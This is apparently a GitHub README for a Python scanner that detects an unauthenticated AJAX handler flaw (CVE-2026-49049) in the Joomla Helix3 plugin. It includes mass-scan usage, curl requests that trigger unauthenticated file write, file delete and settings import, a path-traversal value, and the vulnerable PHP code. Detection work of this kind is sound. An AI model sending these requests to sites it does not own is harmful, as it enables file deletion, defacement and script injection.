shinthink/CVE-2026-49049

GitHub: shinthink/CVE-2026-49049

针对 Joomla Helix3 插件 CVE-2026-49049 未授权 AJAX handler 漏洞的只读检测扫描器,支持批量扫描与结构化报告输出。

Stars: 0 | Forks: 0

Python CVE CVSS License

CVE-2026-49049 — Helix3 Joomla 插件 (JoomShaper)

未认证 AJAX Handler — 只读漏洞扫描器

## 概述 **CVE-2026-49049** 影响 Joomla 的 Helix3 模板框架(版本 **1.0 到 3.1.0**)。通过 Joomla 的 `com_ajax` 调度器可以访问的 `onAjaxHelix3` handler,在执行几个破坏性操作时**没有进行任何认证、授权或 CSRF 验证**: | 操作 | 影响 | 适用版本 | |---|---|---| | `save` | 利用**路径遍历**写入由攻击者控制的 JSON 文件 | 所有版本 | | `remove` | 删除任意文件 — **没有扩展名或路径限制** | 所有版本 | | `import` | 覆盖数据库中存储的模板参数 | **仅限 v3.x** | 该漏洞由 **Phil Taylor** (mySites.guru) 发现,并于 2026 年 6 月 29 日发布。 ### 受影响版本 | Helix3 版本 | save/remove | import | |---|---|---| | 1.0 – 2.x | 存在漏洞 | 不存在 | | 3.0 – 3.1.0 | 存在漏洞 | 存在漏洞 | | 3.1.1+ | 已修复 | 已修复 | ## 安装 ``` git clone https://github.com/shinthink/CVE-2026-49049.git cd CVE-2026-49049 pip install -r requirements.txt ``` ## 用法 ``` # 单一目标 python cve_2026_49049.py -t 192.168.1.100 # Mass scan python cve_2026_49049.py -f targets.txt -o results.txt # 带 JSON report + verbose python cve_2026_49049.py -f targets.txt --json report.json -v ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file File with targets, one per line -o, --output Real-time text output (default: cve-2026-49049_scan.txt) --json Structured JSON report (default: cve-2026-49049_report.json) --threads Concurrent workers (default: 15) --timeout HTTP timeout in seconds (default: 15) -v, --verbose Show probe details ``` ## 概念验证 ### 检测与验证 扫描器执行一次**只读探测** — 它通过未认证的 `save` endpoint 向 Helix3 布局文件夹写入一个无害的 JSON 文件,验证其是否写入成功,然后立即通过 `remove` endpoint 将其删除。目标系统上不会留下任何持久性更改。 ``` $ python cve_2026_49049.py -t 192.168.1.100 -v ``` ``` CVE-2026-49049 — Helix3 (JoomShaper) Joomla Unauthenticated AJAX Handler Scanner [*] save — accessible (probe: 3a9719da) [*] remove — accessible (probe cleaned) Host : 192.168.1.100 Status : vulnerable Helix3 : 2.5.6 Vulnerable: YES save : YES remove : YES import : NO Time : 2.0s ``` ### 手动复现 扫描器探测这些确切的 endpoint。如需手动验证: **步骤 1 — 确认已安装 Helix3** ``` curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml' # 查找 X.X.X ``` **步骤 2 — 测试 save 操作(未认证文件写入)** ``` curl -sk -X POST \ 'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \ -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}' ``` **步骤 3 — 测试 remove 操作(未认证文件删除)** ``` curl -sk -X POST \ 'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \ -d 'data[action]=remove&data[layoutName]=_test_probe.json' ``` **步骤 4 — 测试 import 操作(仅限 v3.x,v2.x 中不可用)** ``` curl -sk -X POST \ 'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \ -d 'data[action]=import&data[template_id]=1&data[settings]={}' # 注意:import 是在 Helix3 v3.x 中添加的。 # 运行 v2.x 的 Sites 将因此操作返回空响应。 ``` ### 漏洞机制 在 3.1.1 之前的 Helix3 版本中,`plugins/ajax/helix3/helix3.php` 通过 `onAjaxHelix3()` 处理请求且**没有任何防护**: ``` public function onAjaxHelix3() { $input = Factory::getApplication()->input; $data = $input->post->get('data', [], 'array'); $action = $data['action']; $layoutName = $data['layoutName']; // No auth check. No CSRF token. No path validation. $filepath = $layoutPath . $layoutName; // path traversal possible switch ($action) { case 'remove': unlink($filepath); // arbitrary file delete break; case 'save': fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // write break; } } ``` ### 危险原因 - **save + 路径遍历** — `layoutName=../../../somewhere/evil` 会将文件写入预期的布局目录之外 - **remove 没有扩展名限制** — 与 `save`(会附加 `.json`)不同,`remove` 可以针对任何文件类型 - **import(v3.x)覆盖数据库参数** — `custom_js` 在模板输出中**未经转义**就被渲染,从而允许在每个页面中注入脚本。这是现实篡改攻击中使用的攻击向量。 ## 免责声明 ## 参考 | 资源 | 链接 | |---|---| | 原始公告 (mySites.guru) | [Helix3 3.1.1 安全修复](https://mysites.guru/blog/helix3-security-update-changelog-failure/) | | NVD 条目 | [CVE-2026-49049](https://nvd.nist.gov/vuln/detail/CVE-2026-49049) | | OpenCVE | [CVE-2026-49049](https://app.opencve.io/cve/CVE-2026-49049) | | JoomShaper GitHub | [Helix3 代码库](https://github.com/JoomShaper/Helix3) |

本项目与 JoomShaper、Joomla 或 Open Source Matters, Inc. 无关。

标签:CVE-2026-49049, Joomla, Python, 加密, 密码管理, 无后门, 无服务器架构, 漏洞扫描器, 逆向工具